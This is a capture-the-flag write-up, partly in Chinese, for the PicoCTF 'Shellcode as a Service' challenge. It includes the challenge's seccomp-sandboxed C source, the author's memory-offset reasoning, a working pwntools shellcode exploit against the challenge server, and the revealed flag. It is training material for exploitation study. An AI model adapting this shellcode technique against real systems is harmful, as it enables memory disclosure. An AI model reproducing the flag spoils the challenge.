PicoCTF - SaaS
Background
seccomp-tool
Source code
:::spoiler Source Code
#include <errno.h>
#include <error.h>
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#define SIZE 0x100
// http://shell-storm.org/online/Online-Assembler-and-Disassembler/?inst=xor+rax%2C+rax%0D%0Amov+rdi%2C+rsp%0D%0Aand+rdi%2C+0xfffffffffffff000%0D%0Asub+rdi%2C+0x2000%0D%0Amov+rcx%2C+0x600%0D%0Arep+stosq%0D%0Axor+rbx%2C+rbx%0D%0Axor+rcx%2C+rcx%0D%0Axor+rdx%2C+rdx%0D%0Axor+rsp%2C+rsp%0D%0Axor+rbp%2C+rbp%0D%0Axor+rsi%2C+rsi%0D%0Axor+rdi%2C+rdi%0D%0Axor+r8%2C+r8%0D%0Axor+r9%2C+r9%0D%0Axor+r10%2C+r10%0D%0Axor+r11%2C+r11%0D%0Axor+r12%2C+r12%0D%0Axor+r13%2C+r13%0D%0Axor+r14%2C+r14%0D%0Axor+r15%2C+r15%0D%0A&arch=x86-64&as_format=inline#assembly
#define HEADER "\x48\x31\xc0\x48\x89\xe7\x48\x81\xe7\x00\xf0\xff\xff\x48\x81\xef\x00\x20\x00\x00\x48\xc7\xc1\x00\x06\x00\x00\xf3\x48\xab\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xe4\x48\x31\xed\x48\x31\xf6\x48\x31\xff\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff"
#define FLAG_SIZE 64
char flag[FLAG_SIZE];
void load_flag() {
int fd;
if ((fd = open("flag.txt", O_RDONLY)) == -1)
error(EXIT_FAILURE, errno, "open flag");
if (read(fd, flag, FLAG_SIZE) == -1)
error(EXIT_FAILURE, errno, "read flag");
if (close(fd) == -1)
error(EXIT_FAILURE, errno, "close flag");
}
void setup() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_KILL);
int ret = 0;
if (ctx != NULL) {
ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 1,
SCMP_A0(SCMP_CMP_EQ, STDOUT_FILENO));
ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
ret |= seccomp_load(ctx);
}
seccomp_release(ctx);
if (ctx == NULL || ret)
error(EXIT_FAILURE, 0, "seccomp");
}
int main()
{
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);
load_flag();
puts("Welcome to Shellcode as a Service!");
void* addr = mmap(NULL, 0x1000, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0);
memcpy(addr, HEADER, sizeof(HEADER));
read(0, addr + sizeof(HEADER) - 1, SIZE);
setup();
goto *addr;
}
:::
Recon
這題算簡單,很適合新手打shell code,但不知道為啥很少人解,和之前計安的某一題很像但忘記在哪邊了,也有可能是在EOF的時候打的,關於seccomp可以看這篇1
1 |
|
- 觀察source code發現有設定seccomp的保護,只開放write和exit,但在輸入之前已經先讀了flag,此時就可以直接想辦法call syswrite把東西印出來就完事了
- 要注意libc的版本,我的local端原本是2.31但不知道為啥變成2.35,所以又花了一點時間用VM才解出來
- 這一題難的地方在於一開始有一串shell code(HEADER),經過online tool2可以知道它就是把stack上和register的東西全部清空,所以如果要找到flag所在的位址就需要撈一下memory,我的做法是直接把memory dump下來,然後string search(記得是little endian),然後用offset算他和rip之間的相對位置
Exploit - seccomp-tools / syswrite
算offset是這一題最煩的地方,以我的例子來說(記憶體區段如下),flag是放在==0x000055e109602060==的地方,我執行shell code的地方是在==0x7fbb78c21000==,所以我先把0x00007f1d391e5000~0x00007f1d39215000的東西dump下來,發現在0x2e590的地方存的是==0x55e109400448==,和原本的0x000055e109602060差了一點,所以我先把後1.5bytes變成0(and operator),然後加上offset(0x202060),在依序把其他必要的register擺好就可以call function了
:::spoiler
1 |
|
:::
from pwn import *
# r = process('./chall')
r = remote('mars.picoctf.net', 31021)
context.arch = 'amd64'
r.recvline()
# exe = ELF('./chall')
payload = asm('''
lea rax, [rip-0x52-0x2c000+0x2e9f0]
mov rsi, QWORD PTR [rax]
and rsi, 0xfffffffffffff000
add rsi, 0x202060
mov rdi, 1
mov rdx, 0x40
mov rax, 1
syscall
''')
# raw_input()
r.sendline(payload)
r.interactive()
$ python exp.py
[+] Opening connection to mars.picoctf.net on port 31021: Done
[*] Switching to interactive mode
picoCTF{f0ll0w_th3_m4p_t0_g3t_th3_fl4g}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive
Flag: picoCTF{f0ll0w_th3_m4p_t0_g3t_th3_fl4g}